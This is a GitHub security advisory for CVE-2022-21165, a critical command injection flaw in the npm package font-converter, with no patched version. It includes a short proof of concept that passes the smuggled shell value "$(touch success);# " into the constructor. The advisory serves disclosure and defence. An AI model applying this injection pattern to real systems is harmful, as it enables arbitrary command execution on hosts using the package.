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Font-Converter Vulnerable to Arbitrary Command Injection

Critical severity GitHub Reviewed Published Aug 29, 2022 to the GitHub Advisory Database • Updated Apr 22, 2024

Package

npm font-converter (npm)

Affected versions

<= 1.1.1

Patched versions

None

Description

Overview

font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)

All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.

PoC

var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
    new PUT(x, x, x, x);
} catch (e) {
    console.log(e);
}

References

Published by the National Vulnerability Database Aug 29, 2022
Published to the GitHub Advisory Database Aug 29, 2022
Reviewed Apr 22, 2024
Last updated Apr 22, 2024

Severity

Critical
9.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses

CVE ID

CVE-2022-21165

GHSA ID

GHSA-g2c3-vwff-m3xr
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